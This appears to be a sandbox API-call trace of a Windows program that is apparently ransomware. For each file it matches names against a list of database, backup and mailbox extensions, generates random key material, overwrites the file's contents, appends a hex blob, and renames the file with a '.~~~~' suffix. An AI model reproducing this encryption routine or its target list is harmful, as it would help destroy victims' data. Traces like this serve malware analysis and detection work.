	[0086.888] CloseHandle (hObject=0x120) returned 1
	[0086.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0086.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.~~~~")) returned 1
	[0086.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0086.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0086.889] GetLastError () returned 0x0
	[0086.956] lstrlenW (lpString=".sqb") returned 4
	[0086.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".sqb") returned 0x0
	[0086.968] lstrlenW (lpString=".ost") returned 4
	[0086.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".ost") returned 0x0
	[0086.968] lstrlenW (lpString=".txt") returned 4
	[0086.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".txt") returned 0x0
	[0086.968] lstrlenW (lpString=".mdt") returned 4
	[0086.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".mdt") returned 0x0
	[0086.968] lstrlenW (lpString=".BDB") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".BDB") returned 0x0
	[0086.969] lstrlenW (lpString=".eql") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".eql") returned 0x0
	[0086.969] lstrlenW (lpString=".DBF") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DBF") returned 0x0
	[0086.969] lstrlenW (lpString=".EQL") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".EQL") returned 0x0
	[0086.969] lstrlenW (lpString=".FDB") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".FDB") returned 0x0
	[0086.969] lstrlenW (lpString=".EDB") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".EDB") returned 0x0
	[0086.969] lstrlenW (lpString=".DACPAC") returned 7
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DACPAC") returned 0x0
	[0086.969] lstrlenW (lpString=".VHD") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".VHD") returned 0x0
	[0086.969] lstrlenW (lpString=".DBV") returned 4
	[0086.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DBV") returned 0x0
	[0086.969] lstrlenW (lpString=".dacpac") returned 7
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dacpac") returned 0x0
	[0086.970] lstrlenW (lpString=".sdf") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".sdf") returned 0x0
	[0086.970] lstrlenW (lpString=".accdb") returned 6
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".accdb") returned 0x0
	[0086.970] lstrlenW (lpString=".DBX") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DBX") returned 0x0
	[0086.970] lstrlenW (lpString=".MDT") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".MDT") returned 0x0
	[0086.970] lstrlenW (lpString=".SQB") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".SQB") returned 0x0
	[0086.970] lstrlenW (lpString=".vhd") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".vhd") returned 0x0
	[0086.970] lstrlenW (lpString=".bac") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".bac") returned 0x0
	[0086.970] lstrlenW (lpString=".mdf") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".mdf") returned 0x0
	[0086.970] lstrlenW (lpString=".BAK") returned 4
	[0086.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".BAK") returned 0x0
	[0086.970] lstrlenW (lpString=".BAC") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".BAC") returned 0x0
	[0086.971] lstrlenW (lpString=".dbs") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dbs") returned 0x0
	[0086.971] lstrlenW (lpString=".vhdx") returned 5
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".vhdx") returned 0x0
	[0086.971] lstrlenW (lpString=".NDF") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".NDF") returned 0x0
	[0086.971] lstrlenW (lpString=".dat") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dat") returned 0x0
	[0086.971] lstrlenW (lpString=".DBS") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DBS") returned 0x0
	[0086.971] lstrlenW (lpString=".CKP") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".CKP") returned 0x0
	[0086.971] lstrlenW (lpString=".edb") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".edb") returned 0x0
	[0086.971] lstrlenW (lpString=".PST") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".PST") returned 0x0
	[0086.971] lstrlenW (lpString=".dbf") returned 4
	[0086.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dbf") returned 0x0
	[0086.972] lstrlenW (lpString=".SQL") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".SQL") returned 0x0
	[0086.972] lstrlenW (lpString=".pst") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".pst") returned 0x0
	[0086.972] lstrlenW (lpString=".dbv") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dbv") returned 0x0
	[0086.972] lstrlenW (lpString=".SDF") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".SDF") returned 0x0
	[0086.972] lstrlenW (lpString=".dtxs") returned 5
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dtxs") returned 0x0
	[0086.972] lstrlenW (lpString=".db3") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".db3") returned 0x0
	[0086.972] lstrlenW (lpString=".OST") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".OST") returned 0x0
	[0086.972] lstrlenW (lpString=".dbx") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dbx") returned 0x0
	[0086.972] lstrlenW (lpString=".DB3") returned 4
	[0086.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DB3") returned 0x0
	[0086.972] lstrlenW (lpString=".DAT") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DAT") returned 0x0
	[0086.973] lstrlenW (lpString=".VHDX") returned 5
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".VHDX") returned 0x0
	[0086.973] lstrlenW (lpString=".ndf") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".ndf") returned 0x0
	[0086.973] lstrlenW (lpString=".DB") returned 3
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DB") returned 0x0
	[0086.973] lstrlenW (lpString=".sql") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".sql") returned 0x0
	[0086.973] lstrlenW (lpString=".MYD") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".MYD") returned 0x0
	[0086.973] lstrlenW (lpString=".DBT") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DBT") returned 0x0
	[0086.973] lstrlenW (lpString=".ACCDB") returned 6
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".ACCDB") returned 0x0
	[0086.973] lstrlenW (lpString=".fdb") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".fdb") returned 0x0
	[0086.973] lstrlenW (lpString=".bak") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".bak") returned 0x0
	[0086.973] lstrlenW (lpString=".myd") returned 4
	[0086.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".myd") returned 0x0
	[0086.974] lstrlenW (lpString=".DTXS") returned 5
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".DTXS") returned 0x0
	[0086.974] lstrlenW (lpString=".ckp") returned 4
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".ckp") returned 0x0
	[0086.974] lstrlenW (lpString=".dbt") returned 4
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".dbt") returned 0x0
	[0086.974] lstrlenW (lpString=".db") returned 3
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".db") returned 0x0
	[0086.974] lstrlenW (lpString=".TXT") returned 4
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".TXT") returned 0x0
	[0086.974] lstrlenW (lpString=".MDF") returned 4
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".MDF") returned 0x0
	[0086.974] lstrlenW (lpString=".bdb") returned 4
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".bdb") returned 0x0
	[0086.974] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.974] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.976] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0086.976] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20696630486) returned 1
	[0086.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9da4c7b0, dwHighDateTime=0x1d60e1e)) 
	[0086.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b480
	[0086.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b480 | out: hHeap=0x300000) returned 1
	[0086.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb810
	[0086.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0086.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb810 | out: hHeap=0x300000) returned 1
	[0086.977] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.977] GetLastError () returned 0x0
	[0086.977] GetLastError () returned 0x0
	[0086.978] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.978] GetLastError () returned 0x0
	[0086.978] GetLastError () returned 0x0
	[0086.985] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.986] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.987] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.987] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.990] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.990] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.991] CloseHandle (hObject=0x124) returned 1
	[0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.~~~~")) returned 1
	[0087.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0087.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.025] GetLastError () returned 0x0
	[0087.026] lstrlenW (lpString=".sqb") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".sqb") returned 0x0
	[0087.026] lstrlenW (lpString=".ost") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".ost") returned 0x0
	[0087.026] lstrlenW (lpString=".txt") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".txt") returned 0x0
	[0087.026] lstrlenW (lpString=".mdt") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".mdt") returned 0x0
	[0087.026] lstrlenW (lpString=".BDB") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".BDB") returned 0x0
	[0087.026] lstrlenW (lpString=".eql") returned 4
	[0087.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".eql") returned 0x0
	[0087.026] lstrlenW (lpString=".DBF") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DBF") returned 0x0
	[0087.027] lstrlenW (lpString=".EQL") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".EQL") returned 0x0
	[0087.027] lstrlenW (lpString=".FDB") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".FDB") returned 0x0
	[0087.027] lstrlenW (lpString=".EDB") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".EDB") returned 0x0
	[0087.027] lstrlenW (lpString=".DACPAC") returned 7
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DACPAC") returned 0x0
	[0087.027] lstrlenW (lpString=".VHD") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".VHD") returned 0x0
	[0087.027] lstrlenW (lpString=".DBV") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DBV") returned 0x0
	[0087.027] lstrlenW (lpString=".dacpac") returned 7
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dacpac") returned 0x0
	[0087.027] lstrlenW (lpString=".sdf") returned 4
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".sdf") returned 0x0
	[0087.027] lstrlenW (lpString=".accdb") returned 6
	[0087.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".accdb") returned 0x0
	[0087.027] lstrlenW (lpString=".DBX") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DBX") returned 0x0
	[0087.028] lstrlenW (lpString=".MDT") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".MDT") returned 0x0
	[0087.028] lstrlenW (lpString=".SQB") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".SQB") returned 0x0
	[0087.028] lstrlenW (lpString=".vhd") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".vhd") returned 0x0
	[0087.028] lstrlenW (lpString=".bac") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".bac") returned 0x0
	[0087.028] lstrlenW (lpString=".mdf") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".mdf") returned 0x0
	[0087.028] lstrlenW (lpString=".BAK") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".BAK") returned 0x0
	[0087.028] lstrlenW (lpString=".BAC") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".BAC") returned 0x0
	[0087.028] lstrlenW (lpString=".dbs") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dbs") returned 0x0
	[0087.028] lstrlenW (lpString=".vhdx") returned 5
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".vhdx") returned 0x0
	[0087.028] lstrlenW (lpString=".NDF") returned 4
	[0087.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".NDF") returned 0x0
	[0087.029] lstrlenW (lpString=".dat") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".dat") returned 0x0
	[0087.029] lstrlenW (lpString=".DBS") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".DBS") returned 0x0
	[0087.029] lstrlenW (lpString=".CKP") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".CKP") returned 0x0
	[0087.029] lstrlenW (lpString=".edb") returned 4
	[0087.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL", lpSrch=".edb") returned 0x0
	[0087.029] lstrlenW (lpString=".PST") returned 4
